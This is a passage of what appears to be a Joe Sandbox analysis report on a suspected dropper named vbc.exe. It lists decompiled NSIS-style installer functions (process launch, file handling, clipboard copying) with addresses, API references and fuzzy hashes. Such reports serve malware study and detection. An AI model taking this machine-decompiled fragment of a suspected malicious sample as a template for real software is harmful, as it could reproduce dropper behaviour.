0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x00000000
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00406734
0x004066bb
0x004066b8

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0236bc9d37fb86cbfb05d60328db13b4a1015dd2f3925378243861a98d78361
Instruction ID: 03af6c1e27b970ccc0602dedbaa06cf660f45ac3eaa39f8bc43b8226cdf4d636
Opcode Fuzzy Hash: c0236bc9d37fb86cbfb05d60328db13b4a1015dd2f3925378243861a98d78361
Instruction Fuzzy Hash: 46715571D00229DFEF28CF98C844BADBBB1FB44305F15806AD816BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00401E1B() {
				void* _t15;
				void* _t24;
				void* _t26;
				void* _t31;

				_t28 = E004029E8(_t24);
				E00404E23(0xffffffeb, _t13);
				_t15 = E004052E5(_t28); // executed
				 *(_t31 + 8) = _t15;
				if(_t15 == _t24) {
					 *((intOrPtr*)(_t31 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t31 - 0x1c)) != _t24) {
						while(WaitForSingleObject( *(_t31 + 8), 0x64) == 0x102) {
							E00405DDC(0xf);
						}
						GetExitCodeProcess( *(_t31 + 8), _t31 - 8); // executed
						if( *((intOrPtr*)(_t31 - 0x20)) < _t24) {
							if( *(_t31 - 8) != _t24) {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						} else {
							E004059E3(_t26,  *(_t31 - 8));
						}
					}
					_push( *(_t31 + 8));
					CloseHandle();
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t31 - 4));
				return 0;
			}

0x00401e21
0x00401e26
0x00401e2c
0x00401e33
0x00401e36
0x0040264e
0x00401e3c
0x00401e3f
0x00401e50
0x00401e4b
0x00401e4b
0x00401e65
0x00401e6e
0x00401e7e
0x00401e80
0x00401e80
0x00401e70
0x00401e74
0x00401e74
0x00401e6e
0x00401e87
0x00401e8a
0x00401e8a
0x00402880
0x0040288c

APIs

Part of subcall function 00404E23: lstrlenA.KERNEL32(0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000,?), ref: 00404E5C
Part of subcall function 00404E23: lstrlenA.KERNEL32(00402C3C,0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000), ref: 00404E6C
Part of subcall function 00404E23: lstrcatA.KERNEL32(0041FC70,00402C3C,00402C3C,0041FC70,00000000,00000000,00000000), ref: 00404E7F
Part of subcall function 00404E23: SetWindowTextA.USER32(0041FC70,0041FC70), ref: 00404E91
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EB7
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404ED1
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EDF

Part of subcall function 004052E5: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A0,Error launching installer), ref: 0040530A
Part of subcall function 004052E5: CloseHandle.KERNEL32(?), ref: 00405317

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNELBASE(?,?), ref: 00401E65
CloseHandle.KERNEL32(?), ref: 00401E8A

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 3016e669bbaa0abdb16a27774c796dbae6618c448dd831d606e4ec67ec548621
Instruction ID: bfc20476be5fc53685a683b8d0a1b3bf328c1b7f56aae3e5f2b845df029897a9
Opcode Fuzzy Hash: 3016e669bbaa0abdb16a27774c796dbae6618c448dd831d606e4ec67ec548621
Instruction Fuzzy Hash: 63016971904104EBCF11AFA1CD85AAE7A71EF01358F20807BEA01B61E1C7798A81DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004035A6 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035A6() {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t6;
				signed int _t11;

				_t1 =  *0x409010; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1); // executed
					 *0x409010 =  *0x409010 | 0xffffffff;
				}
				_t2 =  *0x409014; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x409014 =  *0x409014 | 0xffffffff;
					_t11 =  *0x409014;
				}
				_t3 = E004053AA(_t6, _t11, "C:\\Users\\Albus\\AppData\\Local\\Temp\\nsf9C33.tmp\\", 7); // executed
				return _t3;
			}

0x004035a6
0x004035b5
0x004035b8
0x004035ba
0x004035ba
0x004035c1
0x004035c9
0x004035cc
0x004035ce
0x004035ce
0x004035ce
0x004035dc
0x004035e2

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 004035B8
CloseHandle.KERNEL32(FFFFFFFF), ref: 004035CC

Strings

C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\, xrefs: 004035D7

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\
API String ID: 2962429428-1235799324
Opcode ID: be55e5b8e427b8cdde6b00384d0871a0199eafcfb6d9273a338719d70b1cafbd
Instruction ID: d1c705f3b128fbcbfce68daea097d08065639d5fc9d79a491b5de1c55189a292
Opcode Fuzzy Hash: be55e5b8e427b8cdde6b00384d0871a0199eafcfb6d9273a338719d70b1cafbd
Instruction Fuzzy Hash: 1EE0C230904610A6C630AF3CBE499063A286B413317200B22F174F21F1C778AE429AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t15 =  *0x423ed0; // 0x8c1564
					_t6 = _t17 * 0x1c + _t15;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42368c =  *0x42368c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42368c, 0x7530,  *0x423674), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x00401392
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040575C Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040575C(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405760
0x0040576d
0x00405782
0x00405788

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C9E,C:\Users\Public\vbc.exe,80000000,00000003), ref: 00405760
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405782

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040573D Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040573D(CHAR* _a4) {
				signed char _t3;
				int _t5;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					_t5 = SetFileAttributesA(_a4, _t3 & 0x000000fe); // executed
					return _t5;
				}
				return _t3;
			}

0x00405741
0x0040574a
0x00405753
0x00000000
0x00405753
0x00405759

APIs

GetFileAttributesA.KERNELBASE(?,00405548,?,?,?), ref: 00405741
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405753

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 88d4634cff9a4ddd1fee40d2dea465eb4d792ab4199cb35d7d0d1e1f6e6e1bf9
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: CAC04CB1808501EBD6016B24DF0D81F7B66EB50321B108B35F569E00F0C7755C66EA1A

Uniqueness

Uniqueness Score: -1.00%

Function 004031A8 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004031A8(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409010, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x004031ac
0x004031bf
0x004031c7
0x00000000
0x004031ce
0x00000000
0x004031d0

APIs

ReadFile.KERNELBASE(00409128,00000000,00000000,00000000,00413038), ref: 004031BF

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b55c46bdf794a51955d6c22ef273c930d40ecd644cbb4da6e13cbea0766faea3
Instruction ID: b8f1ad64850fa721b7c3123cc302f733781f6218d307da9d2aa6486ecc23217a
Opcode Fuzzy Hash: b55c46bdf794a51955d6c22ef273c930d40ecd644cbb4da6e13cbea0766faea3
Instruction Fuzzy Hash: 4BE08632254119BBCF105E619C00AD73F5CEB0A3A2F008432FD55E9190D230EA11DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004031DA Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004031DA(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409010, _a4, 0, 0); // executed
				return _t2;
			}

0x004031e8
0x004031ee

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E86,00007DE4), ref: 004031E8

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a4f108b6483d59a247dd719aa3338c70368b303c79d310cc125f674897935547
Instruction ID: 0cdacc43d416a0c3c320ce55ce8d4373a9ea66752a7e2c64ddc4eeaf6ba3fa4d
Opcode Fuzzy Hash: a4f108b6483d59a247dd719aa3338c70368b303c79d310cc125f674897935547
Instruction Fuzzy Hash: 49B01271644200BFDA214F00DF05F057B31B790700F108430B394380F082712420EB0D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404F61 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404F61(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				unsigned int _t93;
				int _t94;
				int _t95;
				long _t98;
				void* _t101;
				intOrPtr _t112;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423684; // 0x0
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404EF5, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							__eflags = _a12 - _t154;
							if(_a12 != _t154) {
								goto L20;
							}
							_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
							__eflags = _t87 - _t149;
							_a8 = _t87;
							if(_t87 <= _t149) {
								L37:
								return 0;
							}
							_t160 = CreatePopupMenu();
							AppendMenuA(_t160, _t149, 1, E00405AA7(_t149, _t154, _t160, _t149, 0xffffffe1));
							_t92 = _a16;
							__eflags = _t92 - 0xffffffff;
							if(_t92 != 0xffffffff) {
								_t150 = _t92;
								_t93 = _t92 >> 0x10;
								__eflags = _t93;
								_t94 = _t93;
							} else {
								GetWindowRect(_t154,  &_v28);
								_t150 = _v28.left;
								_t94 = _v28.top;
							}
							_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
							_t162 = 1;
							__eflags = _t95 - 1;
							if(_t95 == 1) {
								_v60 = _t149;
								_v48 = 0x420498;
								_v44 = 0xfff;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t98 = SendMessageA(_v8, 0x102d, _a4,  &_v68);
									__eflags = _a4 - _t149;
									_t162 = _t162 + _t98 + 2;
								} while (_a4 != _t149);
								OpenClipboard(_t149);
								EmptyClipboard();
								_t101 = GlobalAlloc(0x42, _t162);
								_a4 = _t101;
								_t163 = GlobalLock(_t101);
								do {
									_v48 = _t163;
									_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
									 *_t164 = 0xa0d;
									_t163 = _t164 + 2;
									_t149 = _t149 + 1;
									__eflags = _t149 - _a8;
								} while (_t149 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L37;
						}
						__eflags =  *0x42366c - _t149; // 0x7fffffff
						if(__eflags == 0) {
							ShowWindow( *0x423ea8, 8);
							__eflags =  *0x423f2c - _t149; // 0x0
							if(__eflags == 0) {
								_t112 =  *0x41fc68; // 0x0
								E00404E23( *((intOrPtr*)(_t112 + 0x34)), _t149);
							}
							E00403E10(1);
							goto L25;
						}
						 *0x41f860 = 2;
						E00403E10(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403E9E(_a8, _a12, _a16);
						}
						ShowWindow( *0x423670, _t149);
						ShowWindow(_t154, 8);
						E00403E6C(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423eb0; // 0x8c0fa0
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423670 = GetDlgItem(_a4, 0x403);
				 *0x423668 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423684 = _t127;
				_v8 = _t127;
				E00403E6C( *0x423670);
				 *0x423674 = E004046C5(4);
				 *0x42368c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403E37(_a4);
				if(( *0x423eb8 & 0x00000003) != 0) {
					ShowWindow( *0x423670, _t149);
					if(( *0x423eb8 & 0x00000002) != 0) {
						 *0x423670 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403E6C( *0x423668);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423eb8 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404f6a
0x00404f70
0x00404f79
0x00404f7c
0x0040510d
0x00405114
0x00405138
0x00405138
0x0040513e
0x0040514b
0x00405169
0x00405169
0x00405170
0x004051c7
0x004051c7
0x004051cb
0x00000000
0x00000000
0x004051cd
0x004051d0
0x00000000
0x00000000
0x004051da
0x004051e0
0x004051e2
0x004051e5
0x004052de
0x00000000
0x004052de
0x004051f4
0x00405200
0x00405206
0x00405209
0x0040520c
0x00405221
0x00405224
0x00405224
0x00405227
0x0040520e
0x00405213
0x00405219
0x0040521c
0x0040521c
0x00405237
0x0040523f
0x00405240
0x00405242
0x0040524b
0x0040524e
0x00405255
0x0040525c
0x00405264
0x00405264
0x00405272
0x00405278
0x0040527b
0x0040527b
0x00405282
0x00405288
0x00405291
0x00405298
0x004052a1
0x004052a3
0x004052a6
0x004052b5
0x004052b7
0x004052bd
0x004052be
0x004052bf
0x004052bf
0x004052c7
0x004052d2
0x004052d8
0x004052d8
0x00000000
0x00405242
0x00405172
0x00405178
0x004051a8
0x004051aa
0x004051b0
0x004051b2
0x004051bb
0x004051bb
0x004051c2
0x00000000
0x004051c2
0x0040517c
0x00405186
0x00000000
0x0040514d
0x0040514d
0x00405153
0x0040518b
0x00000000
0x00405194
0x0040515c
0x00405161
0x00405164
0x00000000
0x00405164
0x0040514b
0x00404f82
0x00404f86
0x00404f8f
0x00404f96
0x00404f99
0x00404f9c
0x00404f9f
0x00404fa0
0x00404fa1
0x00404fba
0x00404fbd
0x00404fc7
0x00404fd6
0x00404fde
0x00404fe6
0x00404feb
0x00404fee
0x00404ffa
0x00405003
0x0040500c
0x0040502f
0x00405035
0x00405046
0x0040504b
0x00405059
0x00405067
0x00405067
0x0040506c
0x0040507a
0x0040507a
0x0040507f
0x00405082
0x00405087
0x00405093
0x0040509c
0x004050a9
0x004050b8
0x004050ab
0x004050b0
0x004050b0
0x004050c4
0x004050c4
0x004050d8
0x004050e1
0x004050ea
0x004050fa
0x00405106
0x00405106
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00404FC0
GetDlgItem.USER32(?,000003EE), ref: 00404FCF
GetClientRect.USER32 ref: 0040500C
GetSystemMetrics.USER32 ref: 00405014
SendMessageA.USER32 ref: 00405035
SendMessageA.USER32 ref: 00405046
SendMessageA.USER32 ref: 00405059
SendMessageA.USER32 ref: 00405067
SendMessageA.USER32 ref: 0040507A
ShowWindow.USER32(00000000,?), ref: 0040509C
ShowWindow.USER32(?,00000008), ref: 004050B0
GetDlgItem.USER32(?,000003EC), ref: 004050D1
SendMessageA.USER32 ref: 004050E1
SendMessageA.USER32 ref: 004050FA
SendMessageA.USER32 ref: 00405106
GetDlgItem.USER32(?,000003F8), ref: 00404FDE

Part of subcall function 00403E6C: SendMessageA.USER32 ref: 00403E7A

GetDlgItem.USER32(?,000003EC), ref: 00405123
CreateThread.KERNEL32(00000000,00000000,Function_00004EF5,00000000), ref: 00405131
CloseHandle.KERNEL32(00000000), ref: 00405138
ShowWindow.USER32(00000000), ref: 0040515C
ShowWindow.USER32(00000000,00000008), ref: 00405161
ShowWindow.USER32(00000008), ref: 004051A8
SendMessageA.USER32 ref: 004051DA
CreatePopupMenu.USER32 ref: 004051EB
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405200
GetWindowRect.USER32 ref: 00405213
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405237
SendMessageA.USER32 ref: 00405272
OpenClipboard.USER32(00000000), ref: 00405282
EmptyClipboard.USER32 ref: 00405288
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405291
GlobalLock.KERNEL32 ref: 0040529B
SendMessageA.USER32 ref: 004052AF
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004052C7
SetClipboardData.USER32 ref: 004052D2
CloseClipboard.USER32 ref: 004052D8

Strings

{, xrefs: 004051C7

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

